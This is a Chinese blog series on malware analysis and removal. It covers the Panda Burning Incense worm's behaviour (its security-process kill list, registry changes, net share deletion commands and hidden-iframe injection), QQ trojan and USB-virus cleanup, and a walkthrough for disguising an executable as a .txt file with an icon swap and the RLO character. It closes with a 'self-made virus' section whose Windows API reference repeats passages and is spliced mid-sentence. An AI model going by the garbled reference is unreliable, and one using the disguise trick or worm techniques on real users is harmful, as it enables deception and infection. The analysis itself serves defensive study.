
这辈子没法做太多事情,所以每做一件事都要做到精妙绝伦
《病毒木马防御与分析》系列以真实的病毒木马(或恶意程序)为研究对象,通过现有的技术手段对其分析,总结出它的恶意行为,进而制定出相应的应对方法,对其彻底查杀。当然,因为我个人水平的有限,查杀分析的病毒可能不是过于高端复杂,但对你认识病毒工作原理还是会很有帮助的,甚至最后你也可以利用c语言实现一个简单的病毒程序。 实战 病毒包和工具包下载: Github 熊猫烧香病毒分析 如果像自己实践记得在虚拟机下!病毒包可以在Github仓库找到 摘要 一.手动查杀 0.病毒分析 1).中毒症状 2).病毒特征 3).发作症状 1. 查内存,排查可疑进程,将病毒从内存中干掉 2. 查启动项,删除病毒启 动项 3. 通过启动项判断病毒所在位置,并从根本上删除病毒 4. 修复系统 二.行为分析 一.手动查杀 0. 病毒分析 病毒名称: 武汉男生,又名熊猫烧香病毒。"Worm.WhBoy.h" 1).中毒症状 拷贝自身到所有驱动器根目录,命名为Setup.exe,并生成一个autorun.inf使得用户打开该盘运行病毒,并将这两个文件属性设置为隐藏、只读、系统。 无法手工修改“文件夹选项”将隐藏文件显示出来。 在每个感染后的文件夹中可见Desktop_ini的隐藏文件,内容为感染日期 如:2007-4-1 电脑上的所有脚本文件中加入一段代码: <iframe src=xxx width=”0” height=”0”></iframe> 中毒后的机器上常见的反病毒软件及防火墙无法正常开启及运行。 不能正常使用任务管理器及注册表。 无故的向外发包,连接局域网中其他机器。 感染其他应用程序的.exe文件,并改变图标颜色,但不会感染微软操作系统自身的文件。 删除GHOST文件(.gho后缀),网吧、学校和单位机房深受其害。 禁用常见杀毒工具。 2).病毒特征 关闭众多杀毒软件和安全工具。 循环遍历磁盘目录,感染文件,对关键系统文件跳过。 感染所有EXE、SCR、PIF、COM文件,并更改图标为烧香熊猫。 感染所有.htm/.html/.asp/.php/.jsp/.aspx文件,添加木马恶意代码。 自动删除*.gho文件。 3).发作症状 拷贝文件 病毒运行后,会把自己拷贝到C:WINDOWSSystem32Driversspoclsv.exe 添加注册表自启动 病毒会添加自启动项HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunsvcshare -> C:WINDOWSSystem32Driversspoclsv.exe 病毒行为 每隔1秒寻找桌面窗口,并关闭窗口标题中含有以下字符的程序 QQKav,QQAV,防火墙,进程,VirusScan,网镖,杀毒,毒霸,瑞星,江民,黄山IE,超级兔子,优化大师,木马克星,木马清道夫,QQ病毒,注册表编辑器,系统配置实用程序,卡巴斯基反病毒,Symantec AntiVirus,Duba,esteem proces,绿鹰PC,密码防盗,噬菌体,木马辅助查找器,System Safety Monitor,Wrapped gift Killer,Winsock Expert,游戏木马检测大师,msctls_statusbar32,pjf(ustc),IceSword 并使用的键盘映射的方法关闭安全软件IceSword 并中止系统中以下的进程: Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exe scan32.exe Ravmond.exe CCenter.exe RavTask.exe Rav.exe Ravmon.exe RavmonD.exe RavStub.exe KVXP.kxp kvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exe TrojDie.kxp FrogAgent.exe Logo1_.exe Logo_1.exe Rundl132.exe 每隔18秒 点击病毒作者指定的网页,并用命令行检查系统中是否存在共享,存在的话就运行net share命令关闭admin$共享。 每隔10秒 下载病毒作者指定的文件,并用命令行检查系统中是否存在共享共存在的话就运行net share命令关闭admin$共享。 每隔6秒 删除安全软件在注册表中的键值。 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RavTask KvMonXP kav KAVPersonal50 McAfeeUpdaterUI Network Associates Error Reporting Service ShStartEXE YLive.exe yassistse 并修改以下值不显示隐藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue 修改为 0x00 删除以下服务 navapsvc wscsvc KPfwSvc SNDSrvc ccProxy ccEvtMgr ccSetMgr SPBBCSvc Symantec Core LC NPFMntor MskService FireSvc 感染文件 病毒会感染扩展名为exe,pif,com,src的文件,把自己附加到文件的头部并在扩展名为htm,html, asp,php,jsp,aspx的文件中添加一网址,用户一旦打开了该文件,IE就会不断的在后台点击写入的网址,达到增加点击量的目的,但病毒不会感染以下文件夹名中的文件,防止系统崩溃。 WINDOW Winnt System Volume Information Recycled Windows NT WindowsUpdate Windows Media Player Outlook Express Internet Explorer NetMeeting Common Files ComPlus Applications Messenger InstallShield Installation Information MSN Microsoft Frontpage Movie Maker MSN Gamin Zone 1. 查内存,排查可疑进程,将病毒从内存中干掉 在虚拟机中运行熊猫烧香病毒,记得要在xp虚拟机啊,物理机现在Windows补丁已经免疫熊猫烧香了。 在虚拟机中我们打开任务管理器,发现刚一打开就会被关闭,这是熊猫烧香的特征之一。 右键一个分区,你会发现第一项不是打开,而是Auto,这是因为熊猫烧香病毒会在分区产生一个autorun.inf文件使得用户打开该盘运行病毒,autorun.inf文件是系统,隐藏文件。 甚至一些病毒会把Auto起名为打开,右键分区你会发现两个打卡选项。 我们第一步就要先关闭病毒进程,排查内存时我们需要使用tasklist命令查看可疑进程,spoclsv.exe就是熊猫烧香的进程名了(这个可能需要大量的积累,最好是对Windows系统进程有大量了解)。 找到后通过taskkill /f /im PID命令将其终止 有些病毒无论任务管理器还是taskkill命令都无法将其终止,这类病毒大多是有三个进程相互保护,有一个被终止后其他进程会立即再次启动这个进程。 2. 查启动项,删除病毒启动项 将病毒从内存中清除之后,接下来我们要删除其服务和启动项。 在禁用删除掉启动项之前,我们需要先记住这个病毒的路径,以便第三步去删除它的主体。 3. 通过启动项判断病毒所在位置,并从根本上删除病毒 下图就是熊猫烧香病毒本体的位置了,其实但看启动项中exe路径就能发现spoclsv服务的可疑了,它位于system32drivers下,也不是一些常见的系统服务。 到这个路径下删除这个exe程序。 4. 修复系统 删除完exe之后我们重启系统,会发现现在系统中没有spoclsv.exe这个进程了。 这时病毒还有可能会复发,因为系统还未完成修复,之前说的分区双击默认选项可能会导致病毒程序再次运行。 我们需要将Auto选项删除,并且清理系统。 autorun.inf就是关联我们右键菜单的文件了。 我们通过attrib -s -h -a -r autorun.inf来分别将autorun.inf和setup.exe隐藏属性删除并且删除这两个文件。 删除之后我们双击分区打开会发现无法生效。 注销系统后,右键菜单恢复。 二.行为分析 使用Process Monitor进程树分析病毒运行后的操作。 在病毒程序启动之前,任务管理器还可以打开。 设置Process Monitor进程过滤,进程名选择熊猫烧香.exe。 过滤结果中可以看到运行的setup.exe程序,后面跟随有进程操作,其中操作多为进程创建和大量的注册表操作。 打开进程树查看setup.exe进程信息。 在进程树中可以发现,setup.exe衍生出了spoclsv.exe。衍生出的进程又打开了两次cmd.exe。第一次运行的命令是cmd.exe /c net share C$ /del /y,它的意思是在命令行模式下删除C盘的网络共享,执行完后关闭cmd.exe。因此这个病毒应该是会关闭系统中所有的盘的网络共享。第二次运行的命令是cmd.exe /c net share admin$ /del /y,这里取消的是系统根目录的共享。那么由此就可以总结出病毒的两点行为: 行为1:病毒本身创建了名为spoclsv.exe的进程,该进程文件的路径为C:\WINDOWS\system32\drivers\spoclsv.exe。 行为2:在命令行模式下使用net share命令来取消系统中的共享。 之后对setup.exe文件操作监控分析,分析操作为CreateFile的Path, 可见,熊猫烧香.exe在C:\WINDOWS\system32\drivers中创建了spoclsv.exe,其它再无可疑操作,那么可以认为,这个病毒真正的破坏部分是由spoclsv.exe实现的,那么接下来的工作就是专门监控这个进程。 这里需要将进程名为spoclsv.exe的进程加入筛选器进行分析。spoclsv.exe作为病毒主体所产生的操作会比较多。 可见病毒进程会尝试删除大量安全类软件的注册表启动项。 行为3:删除安全类软件在注册表中的启动项。 然后只保留RegCreateKey与RegSetValue进行分析: 可见,病毒程序为自身创建了自启动项,详细信息为Type: REG_SZ, 长度: 80, 数据: C:\WINDOWS\system32\drivers\spoclsv.exe,使得每次启动计算机就会执行自身,可以查看该路径启动项来验证,因为病毒进程会自动关闭任务管理器和注册表,所以我们需要借助第三方工具autorun来查看。 行为4:在注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run中创建svcshare,用于在开机时启动位于C:\WINDOWS\system32\drivers\spoclsv.exe的病毒程序。 接下来还有: 对注册表KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue这个位置设置为0,能够实现文件的隐藏。此处进行设置后,即便在文件夹选项中选择显示所有文件和文件夹,也无法显示隐藏文件,则有: 行为5:修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,病毒将CheckedValue的键值设置为了0。 接下来对spoclsv.exe文件监控分析,主要看的是病毒是否将自己复制到其他目录,或者创建删除了哪些文件等,监控如下所示: 在图中可以看到,病毒文件在C:\WINDOWS\system32\drivers中创建了spoclsv.exe这个文件,在C盘和E盘根目录下创建了setup.exe与autorun.inf,并且在一些目录中创建了Desktop_.ini这个文件。由于创建这些文件之后就对注册表的SHOWALL项进行了设置,使得隐藏文件无法显示,那么有理由相信,所创建出来的这些文件的属性都是“隐藏”的,于是有: 行为6:将自身拷贝到根目录,并命名为setup.exe,同时创建autorun.inf用于病毒的启动,这两个文件的属性都是隐藏。 行为7:在一些目录中创建名为Desktop_.ini的隐藏文件。 最后对spoclsv.exe进行网络监控分析,来查看病毒是否有联网动作。 从监控结果可以看到,病毒不断尝试连接192.168.1.X即局域网中的其它计算机。 行为8:向外发包,连接局域网中其他机器。 TXT病毒分析 如果像自己实践记得在虚拟机下!病毒包可以在Github仓库找到 摘要 前言 txt病毒引入 RLO与字符陷阱 前言 现在很多病毒使用了各式各样的隐藏技术。病毒编写者往往会用复杂高深的技术来武装自己的恶意程序,使其难以被发现难以被清除。隐藏类的病毒虽然很难发现,但危害清除往往比较简单,如前段时间出现的比特币敲竹杠病毒,就是一个基于Ring3层的病毒,其特色就在于采用了一定的算法来加密目标计算机中的相应文件,而如果没有密码,那么是不可能实现解密操作的。 txt病毒引入 举一个简单病毒的例子,U盘病毒中文件夹后面会出现exe后缀,很明显就可以发现出了问题 这也就说明,尽管它的图标是文件夹的图标,但是它本质上其实就是一个可执行程序,利用图标的更换来将自己伪装成一个文件夹,这种手段还是比较古老的,也是很容易被发现的。但是如果是这样呢? 先准备好需要伪装的病毒和要伪装成的文件图标(找不到别的图标就只能随便找一个用了),还有Resource Hacker工具。 用Resource Hacker打开病毒setup.exe,可以查看到病毒图标。 RLO与字符陷阱 接下来修改图标为我们自己的ico文件。 保存之后病毒的图标就改变了。 下一步需要改变他的后缀名,修改为txt或者png。 这一步的原理是Windows提供了一个转移字符RLO,只要在一行字符前面加上它,就可以实现文本的反向排列。它是Unicode为了兼容某些文字的阅读习惯而设计的一个转义字符。当我们加入这个字符后,从而也就实现修改后缀的效果。 那么利用这个原理,我们就能够实现非常多有创意的,并且颇具迷惑性的文件名称,再将文件的图标修改为对应的假的后缀名的图标,那么我相信,即便是资深反病毒爱好者,也很可能会落入陷阱的。 如何来实现呢?先将病毒程序名改为下图所示,之后在read和txt之间添加转义字符RLO。 插入转义字符之后可以发现这就是一个txt程序了,只不过没有选好图标,只要伪装成一个txt的图标和后缀,很多人都不会防范这个病毒了。 RLO不止可以用来修改程序后缀名,它还可以用在注册表中,你会发现注册表中有多个相同项,然而注册表其实是不允许出现相同项的。 通过字符混淆的方法来影响人的直接视觉感观,可以让人在使用计算机过程中出现很大的问题。 对于之前的exe和txt的混淆方法,其实最好的方法就是在文件夹中显示文件类型。 QQ盗号木马查杀 如果像自己实践记得在虚拟机下!病毒包可以在Github仓库找到 摘要 前言 一.手杀分析 前言 在总纲中我们基本介绍了手杀病毒的基本步骤,其中在进程中杀死病毒时我说过有些病毒只有一个进程,可以直接结束其进程,但有些病毒是多进程相互守护,关闭一个之后其他守护进程会将其重新启动。这就是病毒的一种自我保护技术,使得我们不能够使用常规手法对其实现查杀。我们需要借助两个工具——icesword与autoruns,以达到查杀的目的. 一.手杀分析 这是准备好的病毒样本,autoruns是一个注册表查看工具,icesword是一个非常强大的进程管理工具,不过icesword的平台兼容性很差,win10下我没有查到可用的,只有在xp虚拟机中使用过。 在运行病毒之前,先查看任务管理器中当前的进程。 在运行QQ盗号木马程序之后,可以发现进程数从25变为了28。 多出来的3个进程为severe.exe、conime.exe与tfidma.exe。 conime.exe进程是一个重要的系统进程,它不会随系统的启动而自动启动,只会在启动命令行(cmd)才会启动,但如果删除或者终止将导致特殊文字的输入困难,另外微软新版系统中此进程不会运行,而这里病毒则是伪造了这个进程。 尝试利用任务管理器将这三个进程其中之一结束时,会发现被终止的进程重新被启动了。 现在我们需要使用icesword.exe工具来讲三个互相守护的病毒进程终止。在双击启动icesword.exe时会发现这个工具并无法启动,可以理解为是病毒将这个工具屏蔽了,我们只需要给他改一个名字,icesword.exe的中文名冰刃.exe,之后双击启动。 在里面可用看到这三个进程。 点击文件,选择创建进程规则,添加规则,之后将三个进程添加进去。 再次终止进程之后发现病毒进程无法再次恢复。 接下来我们需要删除病毒的启动项,这里我们打开autoruns这个工具。 打开autoruns之后,初始界面Everything选项卡下面,很容易就发现了两个可疑启动项,因为它们作为可执行程序,使用了记事本图标,而且名称和路径与之前病毒进程相似。那么就有必要在这里删除这三个启动项了。选中欲删除的启动项,然后按下Delete键即可。接下来看一下非常重要的Image Hijacks标签。 可见映像劫持中大量软件进程都被映射为了病毒进程,比如我们熟悉的360safe,注册表,服务配置,QQ医生还有icesword.exe。在这里将这些注册表数据删除。 还有一些其他安全项,可用自行查看,病毒主体程序我们可用从注册表启动项中看到,去相应位置删除即可。 U盘病毒分析 目录 一.前言 二.手杀病毒 一.前言 前段时间去学校打印店印资料,如同往常一样,插上我的U盘。奇怪的是这次的连接时间较以往长,并且还出现了自动播放窗口。 以前使用U盘,都没有出现过自动播放的情况。不过没有我在意,关闭了那个窗口,从我的电脑打开了U盘分区。但是在U盘中却发现了奇怪的文件: 这几个文件很奇怪,因为它们都是使用了文件夹的图标,貌似是一个文件夹,但是在文件名称的后面却跟着一个.exe的小尾巴。而且,我的U盘中本来确实有这四个文件夹,但是我不记得给他们加上了.exe这样的后缀名。而不带后缀名的真实的文件夹却找不到了(图片中显示是因为已经被我处理了)。这就让我很是怀疑,于是分别查看这几个文件的属性。 可见这些文件并不是文件夹,而是应用程序,并且它们的大小一致。看到这里,就可以基本确定了,我的U盘是中了病毒了。 二.手杀病毒 初步分析,这个病毒会将自身伪装成我的U盘中本来存在的文件夹,从而诱惑我去点击。那么原始的文件夹是被删除了还是被隐藏了呢? 选择显示隐藏文件之后,那些文件依然没有显示出来,这里可用一个cmd下的命令来显示,因为文件的隐藏其实是基于文件的四个属性值。 隐藏文件(添加四个属性): attrib +s +h +a +r 文件名 显示文件(删除四个属性): attrib -s -h -a -r 文件名 通过attrib命令操作隐藏的文件无法通过常规的显示文件来显示,这也是病毒隐藏文件的一个常用途径。 显示出我们原本的文件之后就可将exe程序删除了。 U盘病毒其实危害性并没有多强,但其传播速度与对普通人的影响却是很大。 要编写代码进行快速删除也简单,只需要循环遍历U盘目录,将其中子文件进行显示即可。代码如下: for /f "delims=?" %%a in ('dir /a /b') do attrib -a -s -h -r "%%a" 只需要将这一行批处理代码保存为cmd后缀名文件,放置U盘跟目录,双击运行即可。 病毒自制实战 自制病毒——控制桌面背景鼠标以及开关机 理论知识 修改桌面背景方法 在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo 该函数也可以在设置参数中更新用户配置文件,这个函数还有很多其它功能,比如获取桌面工作区的大小。 BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni); uiAction:该参数指定要查询或设置的系统级参数。其取值如下; SPI_GETACCESSTIMEOUT:检索与可访问特性相关联的超时段的信息,PvParam参数必须指向某个ACCESSTIMEOUT结构以获得信息,并将该结构中的cbSjze成员和ulParam参数的值设为sizeof(ACCESSTIMEOUT)。 SPI_GETACTIVEWINDOWTRACKING:用于Windows 98和Windows NT 5.0及以后的版本。它表示是否打开活动窗口跟踪(激活该窗口时鼠标置为开状态),pvParam参数必须指向一个BOOL型变量(打开时接收值为TRUE,关闭时为FALSE)。 SPI_GETACTIVEWNDTRKZORDER;用于Windows 98和Windows NT 5.0及以后版本。它表示通过活动窗口跟踪开关激活的窗口是否要置于最顶层。pvParam参数必须指向一个BOOL型变量,如果要置于顶层,那么该变量的值为TRUE,否则为FALSE。 SPI_GETACTIVEWNDTRKTIMEOUT:用于Windows 98和 Windows NT 5.0及以后版本。它指示活动窗口跟踪延迟量,单位为毫秒。pvParam参数必须指向DWORD类型变量,以接收时间量。 SPI_GETANIMATION:检索与用户活动有关的动画效果。pvParam参数必须指向ANIMATIOINFO结构以接收信息。并将该结构的cbSize成员和ulParam参数置为sizeof(ANIMATIONINFO)。 SPI_GETBEEP:表示警告蜂鸣器是否是打开的。pvParam参数必须指向一个BOOL类型变量,如果蜂鸣器处于打开状态,那么该变量的值为TRUE,否则为FALSE。 SpI_GETBORDER:检索决定窗口边界放大宽度的边界放大因子。pvParam参数必须指向一个整型变量以接收该值。 SPI_GETDEFAULTINPUTLANG:返回用于系统缺省输入语言的键盘布局句柄。pvParam参数必须指向一个32位变量,以接收该值。 SPI_GETCOMBOBOXANIMATION:用于Windows 98和Windows NT 5.0及以后版本。它表示用于组合柜的动打开效果是否允许。pvParam参数必须指向一个BOOL变量,如果允许,那么变量返回值为TRUE,否则为FALSE。 SPI_GETDRAGFULLWINDOWS:确定是否允许拖拉到最大窗口。pvParam参数必须指向BOOL变量,如果允许,返回值为TRUE,否则为FALSE。对于Windows 95系统,该标志只有在安装了Windows plus!才支持。 SPI_GETFASTTASKSWITCH:该标志已不用!以前版本的系统使用该标志来确定是否允许Alt+Tab快速任务切换。对于Windows 95、Windows 98和Windows NT 4.0版而言,快速任务切换通常是允许的。 SPI_GETLDWPOWERACTIVE:确定是否允许屏幕保护的低电压状态。如果允许,那么指向BOOL变量的pvParam参数会接收到TRUE值,否则为FALSE。对于Windows 98,该标志对16位和32位应用程序都支持。 对于Windows 95,该标志只支持16位应用程序。对于Windows NT,在Windows NT 5.0及以后版本中支持32位应用程序,对16位应用程序则不支持。 SPI_GETLOWPOWERTIMEOUT:检索用于屏幕保护的低电压状态超时值。pvParam参数必须指向一个整型变量,以接收该值。对于Windows 98该标志支持16位和32位应用程序。对于Windows95,该标志只支持16位应用程序。对于Windows NT,该标志支持Windows NT 5.0及以后版本上的32位应用程序。不支持16位应用程序。 SPI_GETMENUDROPALIGNMENT。确定弹出式菜单相对于相应的菜单条项是左对齐,还是右对齐、参数pvParam必须指向一个BOOL类型变量,如果是左对齐。那么该变量值为TRUE,否则为FALSE。SPI_GETMINIMIZEDMETRICS:检索最小化窗口有关的度量数据信息。参数pvParam必须指向MINIMIZEDMETRCS结构,以接收信息。该结构中的cbSize和ulParam参数的值应设为sizeof(MINIMIZEDMETRICS)。 SPI_GETMOUSE:检索鼠标的2个阈值和加速特性。pvParam参数必须指向一个长度为3的整型数组,分别存储此值。 SPI_GETMOUSEHOVERHEGHT:用于Windows NT 4.0及以后版本或Windows 98。获得在TrackMouseEvent事件中,为产生WM_MOUSEOVER消息而鼠标指针必须停留的矩形框的高度,以像素为单位。参数pvParam必须指向一个UINT变量以接收这个高度值。 SPI_GETMOUSEHOVERTIME:用于Windows NT 4.0及以后版本、Windows 98,获得在TrackMouseEvent事件中,为产生WM_MOUSEOVER消息而鼠标指针必须停留在矩形框内的时间,单位为毫秒。参数pvParam必须指向一个UINT变量以接收该时间值。 SPI_GETMOUSEHOVERWIDTH:用于Windows NT 4.0及以后版本、Windows 98。获得在TrackMouseEvent事件中,为产生WM_MOUSEOVER消息而鼠标指针必须停留的矩形框的宽度,以像素为单位。参数pvParam必须指向一个UINT变量以接收这个宽度值。 SPI_GETMOUSEKEYS:检索与MOUSEKEYS易用特征有关的信息,pvParam参数必须指向某个MOUSEKEYS结构,以获取信息。应将结构的cbSize成员和ulParam参数设置为sizeof(MOUSEKEYS)。 SPI_GETMOUSESPEED:用于Windows NT 5.0及以后版本、Windows 98。检索当前鼠标速度。鼠标速度决定了鼠标移动多少距离,鼠标的指针将移动多远。参数pvParam指向一个整型变量,该变量接收1(最慢)至20(最快)之间的数值。缺省值为们10。这个值可以由最终用户使用鼠标控制面板应用程序或使用调用了SPI_SETMOUSESPEED的应用程序来设置。 SPI_GETMOUSETRAILS:用于WpvParam必须指向一个BOOL类型变量,如果是左对齐。那么该变量值为TRUE,否则为FALSE。 SPI_GETMINIMIZEDMETRICS:检索最小化窗口有关的度量数据信息。参数pvParam必须指向MINIMIZEDMETRCS结构,以接收信息。该结构中的cbSize和ulParam参数的值应设为sizeof(MINIMIZEDMETRICS)。 SPI_GETMOUSE:检索鼠标的2个阈值和加速特性。pvParam参数必须指向一个长度为3的整型数组,分别存储此值。 SPI_GETMOUSEHOVERHEGHT:用于Windows NT 4.0及以后版本或Windows 98。获得在TrackMouseEvent事件中,为产生WM_MOUSEOVER消息而鼠标指针必须停留的矩形框的高度,以像素为单位。参数pvParam必须指向一个UINT变量以接收这个高度值。 SPI_GETMOUSEHOVERTIME:用于Windows NT 4.0及以后版本、Windows 98,获得在TrackMouseEvent事件中,为产生WM_MOUSEOVER消息而鼠标指针必须停留在矩形框内的时间,单位为毫秒。参数pvParam必须指向一个UINT变量以接收该时间值。 SPI_GETMOUSEHOVERWIDTH:用于Windows NT 4.0及以后版本、Windows 98。获得在TrackMouseEvent事件中,为产生WM_MOUSEOVER消息而鼠标指针必须停留的矩形框的宽度,以像素为单位。参数pvParam必须指向一个UINT变量以接收这个宽度值。 SPI_GETMOUSEKEYS:检索与MOUSEKEYS易用特征有关的信息,pvParam参数必须指向某个MOUSEKEYS结构,以获取信息。应将结构的cbSize成员和ulParam参数设置为sizeof(MOUSEKEYS)。SPI_GETMOUSESPEED:用于Windows NT 5.0及以后版本、Windows 98。检索当前鼠标速度。鼠标速度决定了鼠标移动多少距离,鼠标的指针将移动多远。参数pvParam指向一个整型变量,该变量接收1(最慢)至20(最快)之间的数值。缺省值为们10。这个值可以由最终用户使用鼠标控制面板应用程序或使用调用了SPI_SETMOUSESPEED的应用程序来设置。 SPI_GETMOUSETRAILS:用于Windows 95及更高版本。它用来表示是否允许MouseTrails(鼠标轨迹)。该特征通过简单地显示鼠标轨迹并迅速擦除它们来改善鼠标的可见性。参数prParam必须指向一个整型变量来接收该值。如果这个值为0或1,那么表示禁止该特征。如果该值大于1,则说明该特征被允许,并且该值表示在鼠标轨迹上画出的光标数目。参数ulParam不用。 SPI_GETNONCLIENTMETRICS:检索与非最小化窗口的非客户区有关的度量信息。参数pvParam必须指向NONCLIENTMETRICS结构,以便接收相应值。该结构的。cbSize成员与ulParam参数值应设为sizeof(NONCLIENTMETRICS)。对于Windows 98,该标志支持16位和32位应用程序。对于Windows 95,该标志只支持16位应用程序。对于Windows NT该标志在NT 5.0及以后版本中支持32位应用程序,不支持16位应用程序。 SPI_GETPOWEROFFACTIVE:确定是否允许屏幕保护中关电。TRUE表示允许,FA参数pvParam必须指定SERIALKEYS结构来接收信息。该结构中的cbSize成员和ulParam参数的值要设为sizeof(SERIALKEYS)。 SPI_GETSHOWSOUNDS:确定ShowSounds易用特性标志是开或是关。如果是开,那么用户需要一个应用程序来可视化地表达信息,占则只能以听得见的方式来表达。参数pvParam必须指向一个BOOL类型变量。该变量在该特征处于开状态时返回TRUE,否则为FALSE。使用这个值等同于调用GetSystemMetrics(SM_SHOWSOUNDS)。后者是推荐使用的调用方式。 SPI_GETSNAPTODEFBUTTON:用于Windows NT 4.0及以后版本、Windows 98:确定 Snap-TO-Default-Button(转至缺省按钮)特征是否允许。如果允许,那么鼠标自动移至缺省按钮上,例如对话框的"Ok"或"Apply"按钮。pvParam参数必须指向Bool类型变量,如果该特征被允许,则该变量接收到TRUE,否则为FALSE。 SPI_GETSOUNDSENTRY:检索与SOUNDSENTRY可访问特征有关的信息。参数pvParam必须指向SOUNDSENTRY结构以接收信息。该结构中的。cbSize或员和ulParam参数的值要设为sizeof(SOUNDSENTRY)。 SPI_GETSTICKYKEYS:检索与StickyKeys易用特征有关的信息。参数 pvParam必须指向STICKYKEYS结构以获取信息。该结构中的cbSze成员及ulParam参数的值须设为sizeof(STICKYKEYS)。 SPI_GETSWITCHTASKDISABLE:用于Windows NT 5.0、Windows 95及以后版本,确定是否允许Alt+Tab和AIt+Esc任务切换。参数pvParam必须指向UINT类型变量,如果禁止任务切换,那么返回值为1,否则为0。在缺省情况下,是允许进行任务切换的。 SPI_GETTOGGLEKEYS:检索与ToggleKeys易用特性有关的信息。参数pvParam必须指向TOGGLEKEYS结构以获取信息。该结构中的cbSize成员和ulParam参数值要设置sizeof(TOGGLEKEYS)。 SPI_GETWHEELSCROLLLINES:用于Windows NT 4.0及以后版本、Windows 98。当前轨迹球转动时,获取滚动的行数。参数pvParam必须指向UINT类型变量以接收行数。缺省值是3。 SPI_GETWINDOWSEXTENSION:在Windows 95中指示系统中是否装了Windows Extension和Windows Plus!。 参数ulParam应设为1。而参数pvParam则不用。如果安装了Windows Extenson,那么该函数返回TRUE,否则为FALSE。 SPI_GETWORKAREA:检索主显示器的工作区大小。工作区是指屏幕上不被系统任务条或应用程序桌面工具遮盖的部分。参数pvParam必须指向RECT结构以接收工作区的坐标信息,坐标是用虚拟屏幕坐标来表示的。为了获取非主显示器的工作区信息,请调用GetMonitorlnfo函数。参数ulParam指定宽度,单位是像素。 SPI_ICONVERTICALSPACING:设置图标单元的高度。参数ulParam指定高度,单位是像素。 SPI_LANGDRIVER:未实现。 SPI_SCREENSAVERRUNNING:改名为SPI_SETSCREENSAVERRUNNING。 Spl_SETACCESSTIMEOUT:设置与可访问特性有关的时间限度值,参数 pvParam必须指向包含新参数的ACCESSTIMEOUT结构,该结构的cbSize成员与ulParam参数的值要设为sizeof(ACCESSTMEOUT)。 SPI_SETACTIVEWINDOWTRACKING:用于Windows NT 5.0及以后版本、Windows 98。设置活动窗口追踪的开或关,如果把参数pvParam设为TRUE,则表示开。pvParam参数为FALSE时表示关。 SPI_SETACTIVEWNDTRKZORDER:用于Windows NT 5.0及以后版本、Windows 98。表示是否把通过活动窗口跟踪而激活的窗口推至顶层。参数pvParam设为TRUE表示推至顶层,FALSE则表示不推至顶层。 SPI_SETACTIVEWNDTRKTIMEOUT:用于Wlindows NT 5.0及以后版本、Windows 98。设置活动窗口跟踪延迟。 参数pvParam设置在用鼠标指针激活窗口前需延迟的时间量,单位为毫秒。 SPI_SETBEEP:将警蜂器打开或关闭。参数ulParam指定为TRUE时表示打开,为FALSE时表示关闭。 SPI_SETBORDER:设置确定窗口缩放边界的边界放大因子。参数ulParam用来指定该值。 SPI_SETCOMBOBOXANIMATION:用于Windows NT 5.0及以后版本和Windows 98。允许或禁止组合滑动打开效果。如果设置pvParam参数为TRUE,则表示允许有倾斜效果,如果设为FALSE则表示禁止。 SPI_SETCURSORS:重置系统光标。将ulParam参数设为0并且pvParam参数设为NULL。 SPI_SETDEFAULTINPUTLANG:为系统Shell(命令行解器)和应用程序设置缺省的输入语言。指定的语言必须是可使用当前系统字符集来显示的。pvParam参数必须指向DWORD变量,该变量包含用于缺省语言的键盘布局句柄。 SpI_SETDESKpATTERN:通过使Windows系统从WIN.INI文件中pattern=设置项来设置当前桌面模式。 SPI_SETDESKWALLPAPER:设置桌面壁纸。pvParam参数必须指向一个包含位图文件名,并且以NULL(空)结束的字符串。 SPI_SETDOUBLECLICKTIME:设ulParam参数的值为目标双击时间。双击时间是指双击中的第1次和第2次点击之间的最大时间,单位为毫秒。也可以使用SetDoubleClickTime函数来设置双击时间。为获取当前双击时间,请调用GetDoubleClickTime函数。 SPI_SETDOUBLECLKHEGHT:将ulParam参数的值设为双击矩形区域的高度。双击矩形区域是指双击中的第2次点击时鼠标指针必须落在的区域,这样才能记录为双击。 SPI_SETDOUBLECLKWIDTH:将ulParam参数的值设为双击矩形区域的宽度。 SPI_SETDRAGFULLWINDOWS:设置是否允许拖至最大窗口。参数uIParam指定为TRUE时表示为允许,为FALSE则不可。对于Windows 95,该标志只有在安装了Windows plus!才支持。 SPI_SETDRAGHEIGHT:设置用于检测拖拉操作起点的矩形区域的高度,单位为像素。参考GETSYSTEMMETRICS函数的nlndex参数中的SM_CXDRAG和SM_CYDRAG。 SPI_SETDRAGWIDTH:设置用于检测拖拉操作起点的矩形区域的宽度,单位为像素。 SPI_SETFASTTASKSWITCH:该标志己不再使用。以前版本的系统使用此标志来允许或不许进行Alt+Tab快速任务切换。对于Windows 95、Windows 98和Windows NT 4.0,通常都允许进行快速任务切换。参考SPI_SETSWITCHTASKDISABLE。 SPI_SETFILTERKEYS:设置FilterKeys易用特性的参数。参数pvParam必须指向包含新参数的FILTERKEYS结构,该结构中的cbSize成员和参数ulParam的值应设为sizeof(FILTERKEYS)。 SPI_SETFONTSMOOTHING:允许或禁止有字体平滑特性。该特性使用字体保真技术,通过在不同灰度级上涂画像素点来使得字体曲线显得更加平滑,为了允许有该特性,参数ulParam应设为TRUE值,否则为FALSE。对于Windows 95,只有在安装了Windows plusl才支持该标志。 SPI_SETFOREGROUNDFLASHCOUNT:用于Windows 98和Windows NT 5.0及以后版本。设置SetForegroundWindow在拒绝前台切换申请时闪烁任务拦按钮的次数。 SPI_SETFOREGROUNDLOCKTIMEOUT:用于Windows 98和Windows NT 5.0及以后版本。它用来设置在用户输入之后,系统禁止应用程序强行将自己进入前台期间的时间长度,单位为毫秒。参数pvParam设置这个新的时间限度值。 SPI_SETGRADIENTCAPTIONS:用于Windows 98和Windows NT 